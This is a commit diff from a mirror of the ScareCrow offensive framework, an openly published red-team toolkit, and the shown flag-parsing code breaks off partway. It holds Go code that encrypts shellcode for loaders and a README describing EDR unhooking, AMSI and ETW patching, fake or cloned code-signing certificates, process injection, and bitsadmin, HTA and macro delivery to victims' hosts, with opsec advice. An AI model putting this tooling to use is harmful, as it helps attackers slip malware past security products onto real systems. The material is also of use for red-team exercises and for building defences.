mirror of
https://github.com/Tylous/ScareCrow
synced 2026-06-08 12:46:12 +00:00
v5.0
This commit is contained in:
@@ -2,17 +2,25 @@ package Cryptor
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/rc4"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
crand "math/rand"
|
||||
"time"
|
||||
|
||||
"github.com/ulikunitz/xz"
|
||||
)
|
||||
|
||||
const capletters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
const hexchar = "abcef12345678890"
|
||||
|
||||
var (
|
||||
ErrInvalidBlockSize = errors.New("[-] Invalid Blocksize")
|
||||
@@ -22,6 +30,74 @@ var (
|
||||
ErrInvalidPKCS7Padding = errors.New("[-] Invalid Padding on Input")
|
||||
)
|
||||
|
||||
func EncryptShellcode(inputFile string, encryptionmode string) (string, string, string) {
|
||||
var rawbyte []byte
|
||||
var b64ciphertext, b64key, b64iv string
|
||||
src, _ := ioutil.ReadFile(inputFile)
|
||||
if encryptionmode == "AES" {
|
||||
rawbyte = src
|
||||
key := RandomBuffer(32)
|
||||
iv := RandomBuffer(16)
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
paddedInput, err := Pkcs7Pad([]byte(rawbyte), aes.BlockSize)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
cipherText := make([]byte, len(paddedInput))
|
||||
ciphermode := cipher.NewCBCEncrypter(block, iv)
|
||||
ciphermode.CryptBlocks(cipherText, paddedInput)
|
||||
b64ciphertext = fmt.Sprintf("%x", cipherText)
|
||||
b64key = fmt.Sprintf("%x", key)
|
||||
b64iv = fmt.Sprintf("%x", iv)
|
||||
return b64ciphertext, b64key, b64iv
|
||||
}
|
||||
if encryptionmode == "ELZMA" {
|
||||
var buf bytes.Buffer
|
||||
fmt.Println("[*] Encrypting Shellcode Using ELZMA Encryption")
|
||||
w, err := xz.NewWriter(&buf)
|
||||
if err != nil {
|
||||
log.Fatalf("xz.NewWriter error %s", err)
|
||||
}
|
||||
if _, err := io.WriteString(w, string(src)); err != nil {
|
||||
log.Fatalf("WriteString error %s", err)
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
log.Fatalf("w.Close error %s", err)
|
||||
}
|
||||
fart := fmt.Sprintf("%x", buf.Bytes())
|
||||
b64ciphertext = fart
|
||||
return b64ciphertext, b64key, b64key
|
||||
}
|
||||
if encryptionmode == "RC4" {
|
||||
plaintext := []byte(src)
|
||||
fmt.Println("[*] Encrypting Shellcode Using RC4 Encryption")
|
||||
key, _ := generateRandomBytes(32)
|
||||
block, _ := rc4.NewCipher(key)
|
||||
ciphertext := make([]byte, len(plaintext))
|
||||
block.XORKeyStream(ciphertext, plaintext)
|
||||
|
||||
b64ciphertext = fmt.Sprintf("%x", ciphertext)
|
||||
b64key = fmt.Sprintf("%x", key)
|
||||
|
||||
}
|
||||
return b64ciphertext, b64key, b64iv
|
||||
|
||||
}
|
||||
|
||||
func generateRandomBytes(n int) ([]byte, error) {
|
||||
b := make([]byte, n)
|
||||
_, err := rand.Read(b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func Pkcs7Pad(b []byte, blocksize int) ([]byte, error) {
|
||||
if blocksize <= 0 {
|
||||
return nil, ErrInvalidBlockSize
|
||||
@@ -54,6 +130,15 @@ func RandStringBytes(n int) string {
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func Mangle(n int) string {
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
b[i] = hexchar[crand.Intn(len(hexchar))]
|
||||
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func VarNumberLength(min, max int) string {
|
||||
var r string
|
||||
crand.Seed(time.Now().UnixNano())
|
||||
|
||||
+627
-550
File diff suppressed because it is too large
Load Diff
@@ -13,28 +13,50 @@ If you want to learn more about the techniques utilized in this framework please
|
||||
#
|
||||
|
||||
## Description
|
||||
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. ScareCrow can target these DLLs and manipulate them in memory by using the API function VirtualProtect, which changes a section of a process’ memory permissions to a different value, specifically from Execute–Read to Read-Write-Execute.
|
||||
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned.
|
||||
|
||||
When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack.
|
||||
ScareCrow can target these DLLs and manipulate them in memory by using the API function VirtualProtect, which changes a section of a process’ memory permissions to a different value, specifically from Execute–Read to Read-Write-Execute.
|
||||
|
||||
To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
|
||||
ScareCrow uses 1 of 2 methods to unhook
|
||||
|
||||
Once these the hooks are removed, ScareCrow then utilizes custom System Calls to load and run shellcode in memory. ScareCrow does this even after the EDR hooks are removed to help avoid detection by non-userland, hook-based telemetry gathering tools such as Event Tracing for Windows (ETW) or other event logging mechanisms. These custom system calls are also used to perform the VirtualProtect call to remove the hooks placed by EDRs, described above, to avoid detection by any EDR’s anti-tamper controls. This is done by calling a custom version of the VirtualProtect syscall, NtProtectVirtualMemory. ScareCrow utilizes Golang to generate these loaders and then assembly for these custom syscall functions.
|
||||
### Disk
|
||||
|
||||
ScareCrow loads the shellcode into memory by first decrypting the shellcode, which is encrypted by default using AES encryption with a decryption and initialization vector key. Once decrypted and loaded, the shellcode is then executed. Depending on the loader options specified ScareCrow will set up different export functions for the DLL. The loaded DLL also does not contain the standard DLLmain function which all DLLs typically need to operate. The DLL will still execute without any issue because the process we load into will look for those export functions and not worry about DLLMain being there.
|
||||
When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead it only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this, ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack.
|
||||
|
||||
To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
|
||||
|
||||
|
||||
|
||||
#### Indirect Syscalls
|
||||
|
||||
ScareCrow loads the shellcode into memory by first decrypting the shellcode, which is encrypted by one of three encryption methods (outlined below). Once decrypted and loaded, the shellcode is then executed. Depending on the loader options specified, ScareCrow will set up different export functions for the DLL. The loaded DLL also does not contain the standard DLLMain function which all DLLs typically need to operate. The DLL will still execute without any issue because the process we load into will look for those export functions and not worry about DLLMain being there.
|
||||
### Binary Sample
|
||||
<p align="center"> <img src=Screenshots/PreRefreshed_Dlls.png border="2px solid #555">
|
||||
|
||||
After
|
||||
<p align="center"> <img src=Screenshots/Refreshed_Dlls.png border="2px solid #555">
|
||||
|
||||
### KnownDLLs
|
||||
|
||||
KnownDLLs is a list of DLLs that are loaded by Windows during the system startup process. Because these DLLs are considered to be essential to the functioning of the operating system, they are cached to help reduce load times and improve performance when applications start up. KnownDLLs includes DLLs such as kernel32.dll, kernelbase.dll, and ntdll.dll.
|
||||
|
||||
Utilizing these KnownDlls, ScareCrow maps a copy of the DLL from `\KnownDlls\<dllname>` using a combination of NtOpenSection and NtMapViewOfSection to load it into the process's memory. ScareCrow doesn't load the entire DLL, rather it only loads in the .text section of the DLL (as this contains all the syscalls). From there ScareCrow use indirect Syscalls to call NtProtectVirtualMemory and change the permissions of the dll's .text memory section to allow Scarecrow to overwrite the EDR’s hooks before restoring permissions.
|
||||
|
||||
|
||||
For more information you can read modexp's detailed [article]("https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/")
|
||||
|
||||
|
||||
Once these the hooks are removed, ScareCrow then utilizes custom System Calls to load and run shellcode in memory. ScareCrow does this even after the EDR hooks are removed to help avoid detection by non-userland, hook-based telemetry gathering tools such as Event Tracing for Windows (ETW) or other event logging mechanisms. These custom system calls are also used to perform the VirtualProtect call to remove the hooks placed by EDRs, described above, to avoid detection by any EDR’s anti-tamper controls. This is done by calling a custom version of the VirtualProtect syscall, NtProtectVirtualMemory. ScareCrow utilizes Golang to generate these loaders and then assembly for these custom syscall functions.
|
||||
|
||||
During the creation process of the loader, ScareCrow utilizes a library for blending into the background after a beacon calls home. This library does two things:
|
||||
* Code signs the Loader:
|
||||
|
||||
Files that are signed with code signing certificates are often put under less scrutiny, making it easier to be executed without being challenged, as files signed by a trusted name are often less suspicious than others. Most antimalware products don’t have the time to validate and verify these certificates (now some do but typically the common vendor names are included in a whitelist). ScareCrow creates these certificates by using a go package version of the tool `limelighter` to create a pfx12 file. This package takes an inputted domain name, specified by the user, to create a code signing certificate for that domain. If needed, you can also use your own code signing certificate if you have one, using the valid command-line option.
|
||||
|
||||
* ScareCrow also contains the ability to take the full chain and all attributes from a legitimate code-signing certificate from a file and copy it onto another file. This includes the signing date, counter signatures, and other measurable attributes. This option can use DLL or .exe files to copy using the `clone` command-line option, along with the path to the file you want to copy the certificate from.
|
||||
|
||||
|
||||
#### OpSec Consideration:
|
||||
When signing the loader with microsoft.com, using them against WINDOWS DEFENDER ATP products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product possibly use a different domain.
|
||||
When signing the loader with microsoft.com, using them against WINDOWS DEFENDER ATP products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product, possibly use a different domain.
|
||||
* Spoof the attributes of the loader:
|
||||
This is done by using syso files which are a form of embedded resource files that when compiled along with our loader, will modify the attribute portions of our compiled code. Prior to generating a syso file, ScareCrow will generate a random file name (based on the loader type) to use. Once chosen, this file name will map to the associated attributes for that file name, ensuring that the right values are assigned.
|
||||
|
||||
@@ -42,10 +64,16 @@ Files that are signed with code signing certificates are often put under less sc
|
||||
|
||||
<p align="center"> <img src=Screenshots/File_Attributes.png border="2px solid #555">
|
||||
|
||||
|
||||
With these files and the go code, ScareCrow will cross compile them into DLLs using the c-shared library option. Once the DLL is compiled, it is obfuscated into a broken base64 string that will be embedded into a file. This allows for the file to be remotely pulled, accessed, and programmatically executed.
|
||||
|
||||
### Custom Attribute Files
|
||||
While ScareCrow has an extensive list of file attributes, there are some circumstances where a custom (maybe environment-specific) set of attributes is required. To accommodate this, ScareCrow allows for the inputting of a JSON file containing attributes. Using the `-configfile` command-line option, ScareCrow will use these attributes and filename instead of the pre-existing ones in ScareCrow. The file `main.json` contains a sample template of what the JSON structure needs to be to properly work. Note whatever you use as the "InternalName" will be the file name.
|
||||
|
||||
|
||||
|
||||
## Requirements
|
||||
ScareCrow now requires golang 1.16.1 or later to compile loaders. If you are running an older version please to version 1.16.1 or later.
|
||||
ScareCrow now requires golang 1.19.1 or later to compile loaders. If you are running an older version, please use version 1.19.1 or later.
|
||||
|
||||
See for new versions: https://golang.org/dl/.
|
||||
|
||||
@@ -58,6 +86,9 @@ To install them, run following commands:
|
||||
go get github.com/fatih/color
|
||||
go get github.com/yeka/zip
|
||||
go get github.com/josephspurrier/goversioninfo
|
||||
go get github.com/Binject/debug/pe
|
||||
go get github.com/awgh/rawreader
|
||||
|
||||
```
|
||||
Make sure that the following are installed on your OS:
|
||||
```
|
||||
@@ -71,7 +102,7 @@ Then build it
|
||||
```
|
||||
go build ScareCrow.go
|
||||
```
|
||||
In addition ScareCrow utilizes [Garble](https://github.com/burrowers/garble) for obfuscating all loaders.
|
||||
In addition, ScareCrow utilizes [Garble](https://github.com/burrowers/garble) for obfuscating all loaders.
|
||||
|
||||
Note: Several of the dependencies do not play well on Windows when compiling, because of this it is recommended to compile your loaders on OSX or Linux.
|
||||
|
||||
@@ -95,6 +126,17 @@ Note: Several of the dependencies do not play well on Windows when compiling, be
|
||||
Fear is a TEACHER. the first one you ever had.”
|
||||
|
||||
Usage of ./ScareCrow:
|
||||
-Evasion string
|
||||
Sets the type of EDR unhooking technique:
|
||||
[*] Disk - Retrives a clean version of the DLLs ".text" field from files stored on disk.
|
||||
[*] KnownDLL - Retrives a clean version of the DLLs ".text" field from the KnownDLLs directory in the object namespace.
|
||||
[*] None - The Loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls. (default "Disk")
|
||||
-Exec string
|
||||
Set the template to execute the shellcode:
|
||||
[*] RtlCopy - Using RtlCopy to move the shellcode into the allocated address in the current running process by making a Syscall.
|
||||
[*] ProcessInjection - Process Injection Mode.
|
||||
[*] NtQueueApcThreadEx - Executes the shellcode by creating an asynchronous procedure call (APC) to a target thread.
|
||||
[*] VirtualAlloc - Allocates shellcode into the process using custom syscalls in the current running process (default "RtlCopy")
|
||||
-I string
|
||||
Path to the raw 64-bit shellcode.
|
||||
-Loader string
|
||||
@@ -107,6 +149,8 @@ Usage of ./ScareCrow:
|
||||
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
|
||||
-O string
|
||||
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
|
||||
-clone string
|
||||
Path to the file containing the certificate you want to clone
|
||||
-configfile string
|
||||
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
|
||||
-console
|
||||
@@ -118,82 +162,113 @@ Usage of ./ScareCrow:
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).
|
||||
-domain string
|
||||
The domain name to use for creating a fake code signing cert. (e.g. www.acme.com)
|
||||
-encryptionmode string
|
||||
Sets the type of encryption to encrypt the shellcode:
|
||||
[*] AES - Enables AES 256 encryption.
|
||||
[*] ELZMA - Enables ELZMA encryption.
|
||||
[*] RC4 - Enables RC4 encryption. (default "ELZMA")
|
||||
-export string
|
||||
For DLL Loaders Only - Specify an Export function for a loader to have.
|
||||
-injection string
|
||||
Enables Process Injection Mode and specify the path to the process to create/inject into (use \ for the path).
|
||||
-noamsi
|
||||
Disables the AMSI patching that prevents AMSI BuffferScanner.
|
||||
Disables the AMSI patching that prevents AMSI BufferScanner.
|
||||
-noetw
|
||||
Disables the ETW patching that prevents ETW events from being generated.
|
||||
-nosign
|
||||
Disables file signing, making -domain/-valid/-password parameters not required.
|
||||
-nosleep
|
||||
Disables the sleep delay before the loader unhooks and executes the shellcode.
|
||||
-obfu
|
||||
Enables Garbles Literal flag replaces golang libray strings with more complex variants, resolving to the same value at run-time. This creates a larger loader and times longer to compile
|
||||
-outpath string
|
||||
The path to put the final Payload/Loader once it's compiled.
|
||||
-password string
|
||||
The password for code signing cert. Required when -valid is used.
|
||||
-sandbox
|
||||
Enables sandbox evasion using IsDomainJoined calls.
|
||||
-sha256
|
||||
Provides the SHA256 value of the loaders (This is useful for tracking)
|
||||
-unmodified
|
||||
When enabled will generate a DLL loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls (set to false by default)
|
||||
-url string
|
||||
URL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)
|
||||
-valid string
|
||||
The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.
|
||||
```
|
||||
## Loader
|
||||
The Loader determines the type of technique to load the shellcode into the target system. If no Loader option is chosen, ScareCrow will just compile a standard DLL file, that can be used by rundll32, regsvr32, or other techniques that utilize a DLL. ScareCrow utilizes three different types of loaders to load shellcode into memory:
|
||||
The Loader determines the type of technique type used to load the shellcode into the target system. If no Loader option is chosen, ScareCrow will just compile a standard DLL file, that can be used by rundll32, regsvr32, or other techniques that utilize a DLL. ScareCrow utilizes three different types of loaders to load shellcode into memory:
|
||||
* Control Panel – This generates a control panel applet (i.e. Program and Features, or AutoPlay). By compiling the loader to have specific DLL export functions in combination with a file extension .cpl, it will spawn a control panel process (rundll32.exe) and the loader will be loaded into memory.
|
||||
* WScript – Spawns a WScript process that utilizes a manifest file and registration-free Com techniques to load (not injected) DLL loader into its own process, side-by-side. This avoids registering the DLL in memory as the manifest file tells the process which, where, and what version of a DLL to load.
|
||||
* Excel – Generates an XLL file which are Excel-based DLL files that when loaded into Excel will execute the loader. A hidden Excel process will be spawned, forcing the XLL file to be loaded.
|
||||
* Msiexec - Spawns a hidden MSIExec process that will load the DLL into memory and execute the shellcode.
|
||||
* WScript – Spawns a WScript process that utilizes a manifest file and registration-free Com techniques to load (not inject) the DLL loader into its own process, side-by-side. This avoids registering the DLL in memory as the manifest file tells the process which, where, and what version of a DLL to load.
|
||||
* Excel – Generates an XLL file which are Excel-based DLL files that when loaded into Excel will execute the loader. A hidden Excel process will be spawned, forcing the XLL file to be loaded.
|
||||
* Msiexec - Spawns a hidden MSIExec process that will load the DLL into memory and execute the shellcode.
|
||||
|
||||
|
||||
ScareCrow can also generate binary based payloads if needed by using the `-Loader` command line option. These binaries do not benefit from any side-by-side loading techniques but serve as an additional technique to execute shellcode depending on the situation.
|
||||
ScareCrow can also generate binary based payloads if needed by using the `-Loader` command line option. These binaries do not benefit from any side-by-side loading techniques but serve as an additional technique to execute shellcode depending on the situation.
|
||||
|
||||
|
||||
## Console
|
||||
ScareCrow utilizes a technique to first create the process and then move it into the background. This does two things, first it helps keep the process hidden and second, avoids being detected by any EDR product. Spawning a process right away in the background can be very suspiciousness and an indicator of maliciousness. ScareCrow does this by calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden. ScareCrow utilizes these APIs rather than using the traditional `-ldflags -H=windowsgui` as this is highly signatured and classified in most security products as an Indicator of Compromise.
|
||||
ScareCrow utilizes a technique to first create the process and then move it into the background. This does two things, first it helps keep the process hidden and second, avoids being detected by any EDR product. Spawning a process right away in the background can be very suspicious and an indicator of maliciousness. ScareCrow does this by calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden. ScareCrow utilizes these APIs rather than using the traditional `-ldflags -H=windowsgui` as this is highly signatured and classified in most security products as an Indicator of Compromise.
|
||||
|
||||
If the `-console` command-line option is selected, ScareCrow will not hide the process in the background. Instead, ScareCrow will add several debug messages displaying what the loader is doing.
|
||||
|
||||
## Process Injection
|
||||
ScareCrow contains the ability to do process injection attacks. To avoid any hooking or detection in either the loader process or the injected process itself, ScareCrow first unhooks the loader process as it would normally, to ensure there are no hooks in the process. Once completed, the loader will then spawn the process specified in the creation command. Once spawned, the loader will then create a handle to the process to retrieve a list of loaded DLLs. Once it finds DLLs, it will enumerate the base address of each DLL in the remote process. Using the function WriteProcessMemory the loader will then write the bytes of the system DLLs stored on disk (since they are “clean” of EDR hooks) without the need to change the memory permissions first. ScareCrow uses WriteProcessMemory because this function contains a feature primarily used in debugging where even if a section of memory is read-only, if everything is correct in the call to WriteProcessMemory, it will temporarily change the permission to read-write, update the memory section and then restore the original permissions. Once this is done, the loader can inject shellcode into the spawned process with no issue, as there are no EDR hooks in either process.
|
||||
|
||||
This option can be used with any of the loader options. To enable process injection, use the `-injection` command-line option along with the full path to the process you want to use to inject into. When putting the path in as an argument, it is important to either surround the full path with `""` or use double `\` for each directory in the path.
|
||||
## Execution Methods
|
||||
|
||||
ScareCrow uses different templates to execute shellcode. To choose which template use the `-Exec` command-line option. These templates include:
|
||||
|
||||
* RtlCopy
|
||||
* NtQueueApcThreadEx
|
||||
* VirtualAlloc
|
||||
* ProcessInjection
|
||||
|
||||
### Process Injection
|
||||
ScareCrow contains the ability to do process injection attacks. To avoid any hooking or detection in either the loader process or the injected process itself, ScareCrow first unhooks the loader process as it would normally, to ensure there are no hooks in the process. Once completed, the loader will then spawn the process specified in the creation command. Once spawned, the loader will then create a handle to the process to retrieve a list of loaded DLLs. Once it finds DLLs, it will enumerate the base address of each DLL in the remote process. Using the function WriteProcessMemory, the loader will then write the bytes of the system DLLs stored on disk (since they are “clean” of EDR hooks) without the need to change the memory permissions first. ScareCrow uses WriteProcessMemory because this function contains a feature primarily used in debugging where even if a section of memory is read-only, if everything is correct in the call to Write¬Process¬Memory, it will temporarily change the permission to read-write, update the memory section and then restore the original permissions. Once this is done, the loader can inject shellcode into the spawned process with no issue, as there are no EDR hooks in either process.
|
||||
|
||||
This option can be used with any of the loader options. To enable process injection, use the `-injection` ccommand-line option along with the full path to the process you want to use to inject into. When putting the path in as an argument, it is important to either surround the full path with `""` or use double `\` for each directory in the path.
|
||||
|
||||
|
||||
|
||||
## AMSI & ETW Bypass
|
||||
ScareCrow contains the ability to patch AMSI (Antimalware Scan Interface) and ETW functions, preventing any event from being generated by the process.
|
||||
|
||||
AMSI is a Windows native API that allows Windows Defender (or other antimalware products) to interface deep in the Windows operating system and provide enhanced protection, specifically around in-memory-based attacks. AMSI allows security products to better detect malicious indicators and help stop threats. Since AMSI is native to Windows products don't need to "hook" AMSI rather they load the necessary DLL to in order to gain enhanced insight into the process. Because of this ScareCrow loads the AMSI.dll dll and then patches, to ensure that any results from the scanning interface come back clean. Patching AMSI is default in all loaders, if you wish to not patch AMSI use the `-noamsi` command-line option to disable it in your loader.
|
||||
AMSI is a Windows native API that allows Windows Defender (or other antimalware products) to interface deep in the Windows operating system and provide enhanced protection, specifically around in-memory-based attacks. AMSI allows security products to better detect malicious indicators and help stop threats. Since AMSI is native to Windows, products don't need to "hook" AMSI, rather they load the necessary DLL to gain enhanced insight into the process. Because of this, ScareCrow loads the AMSI.dll DLL and then patches, to ensure that any results from the scanning interface come back clean. Patching AMSI is default in all loaders, if you wish to not patch AMSI use the `-noamsi` command-line option to disable it in your loader.
|
||||
|
||||
ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is also a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW use the `-noetw` command-line option to disable it in your loader.
|
||||
ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is also a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW, use the `-noetw` command-line option to disable it in your loader.
|
||||
|
||||
Currently, these options only work for the parent process, if the `-injection` command-line option is used the primary process will patch AMSI and ETW but the injected process
|
||||
|
||||
|
||||
## Encryption
|
||||
Encrypting shellcode is an important technique used to protect it from being detected and analyzed by EDRs and other security products. ScareCrow comes with multiple methods to encrypt shellcode, these include AES, ELZMA, and RC4.
|
||||
|
||||
### AES
|
||||
AES (Advanced Encryption Standard) is a symmetric encryption algorithm that is widely used to encrypt data. ScareCrow uses AES 256 bit size to encrypt the shellcode. The advantage of using AES to encrypt shellcode is that it provides strong encryption and is widely supported by cryptographic libraries. However, the use of a fixed block size can make it vulnerable to certain attacks, such as the padding oracle attack.
|
||||
|
||||
### ELZMA
|
||||
ELZMA is a compression and encryption algorithm that is often used in malware to obfuscate the code. To encrypt shellcode using ELZMA, the shellcode is first compressed using the ELZMA algorithm. The compressed data is then encrypted using a random key. The encrypted data and the key are then embedded in the exploit code. The advantage of using ELZMA to encrypt shellcode is that it provides both compression and encryption in a single algorithm. This can help to reduce the size of the exploit code and make it more difficult to detect.
|
||||
|
||||
|
||||
### RC4
|
||||
RC4 is a symmetric encryption algorithm that is often used in malware to encrypt shellcode. It is a stream cipher that can use variable-length keys and is known for its simplicity and speed.
|
||||
|
||||
|
||||
## Obfuscate
|
||||
Using `-obfu` ccommand-line option enables Garbles Literal flag during the compilation process. This replaces any golang library references and strings with a more complex version, that resolves to the same value during run-time. This process takes a longer time to complete, resulting in a larger GO file. Once the file is compiled ScareCrow parses the newly created file, stripping out any GO string-based IOCs.
|
||||
|
||||
|
||||
|
||||
## Delivery
|
||||
The deliver command line argument allows you to generate a command or string of code (in the macro case) to remotely pull the file from a remote source to the victim’s host. These delivery methods include:
|
||||
* Bits – This will generate a bitsadmin command that while download the loader remotely, execute it and remove it. This delivery command is compatible with Binary, Control, Excel and Wscript loaders.
|
||||
The delivery command-line argument allows you to generate a command or string of code (in the macro case) to remotely pull the file from a remote source to the victim’s host. These delivery methods include:
|
||||
* Bits – This will generate a bitsadmin command that downloads the loader remotely, executes it and removes it. This delivery command is compatible with Binary, Control, Excel and Wscript loaders.
|
||||
* HTA – This will generate a blank HTA file containing the loader. This option will also provide a command line that will execute the HTA remotely. This delivery command is compatible with Control and Excel loaders.
|
||||
* Macro – This will generate an Office macro that can be put into an Excel or Word macro document. When this macro is executed, the loader will be downloaded from a remote source and executed, and then removed. This delivery command is compatible with Control, Excel and Wscript loaders.
|
||||
|
||||
## Custom Attribute Files
|
||||
While ScareCrow has an extensive list of file attributes, there are some circumstances where a custom (maybe environment-specific) set of attributes is required. To accommodate this, ScareCrow allows for the inputting of a JSON file containing attributes. Using the `-configfile` command-line option, ScareCrow will use these attributes and filename instead of the pre-existing ones in ScareCrow. The file `main.json` contains a sample template of what the JSON structure needs to be to properly work. Note whatever you use as the "InternalName" will be the file name.
|
||||
* Macro – This will generate an Office macro that can be put into an Excel or Word macro document. When this macro is executed, the loader will be downloaded from a remote source and executed, and then removed. This delivery command is compatible with Control, Excel and Wscript loaders. (Please note that this method may take longer then the default timer depending on how slow the victim's endpoints available resources)
|
||||
|
||||
|
||||
## Hash
|
||||
|
||||
Since ScareCrow creates unique loaders that can also be embedded in scripts or other files for delivery, ScareCrow has the ability to provide you the hashes of all artifacts, using the `-sha256`.
|
||||
|
||||
## To Do
|
||||
* Currently only supports x64 payloads
|
||||
* Some older versions of Window's OSes (i.e. Windows 7 or Windows 8.1), have issues reloading the systems DLLs, as a result a version check is built in to ensure stability
|
||||
* Patch ETW and AMSI in Injected processes
|
||||
|
||||
## Credit
|
||||
* Special thanks to josephspurrier for his [repo](https://github.com/josephspurrier/goversioninfo)
|
||||
* Special thanks to mvdan for developing [Garble](https://github.com/burrowers/garble)
|
||||
* Special thanks to mvdan for developing [Binject](github.com/Binject/debug/pe)
|
||||
* Special thanks to modexp's detailed [article]("https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/")
|
||||
|
||||
|
||||
+62
-41
@@ -6,13 +6,8 @@ import (
|
||||
"ScareCrow/Utils"
|
||||
"ScareCrow/limelighter"
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -37,7 +32,14 @@ type FlagOptions struct {
|
||||
sandbox bool
|
||||
sleep bool
|
||||
nosign bool
|
||||
evasion string
|
||||
path string
|
||||
obfuscate bool
|
||||
export string
|
||||
clone string
|
||||
KnownDLLs bool
|
||||
encryptionmode string
|
||||
exectype string
|
||||
}
|
||||
|
||||
func options() *FlagOptions {
|
||||
@@ -51,17 +53,24 @@ func options() *FlagOptions {
|
||||
[*] excel - Loads into a hidden Excel process using a JScript loader.
|
||||
[*] msiexec - Loads into MSIexec process using a JScript loader.
|
||||
[*] wscript - Loads into WScript process using a JScript loader.`)
|
||||
refresher := flag.Bool("unmodified", false, "When enabled will generate a DLL loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls (set to false by default)")
|
||||
URL := flag.String("url", "", "URL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)")
|
||||
CommandLoader := flag.String("delivery", "", `Generates a one-liner command to download and execute the payload remotely:
|
||||
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
|
||||
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).`)
|
||||
domain := flag.String("domain", "", "The domain name to use for creating a fake code signing cert. (e.g. www.acme.com) ")
|
||||
exectype := flag.String("Exec", "RtlCopy", `Set the template to execute the shellcode:
|
||||
[*] RtlCopy - Using RtlCopy to move the shellcode into the allocated address in the current running process by making a Syscall.
|
||||
[*] ProcessInjection - Process Injection Mode.
|
||||
[*] NtQueueApcThreadEx - Executes the shellcode by creating an asynchronous procedure call (APC) to a target thread.
|
||||
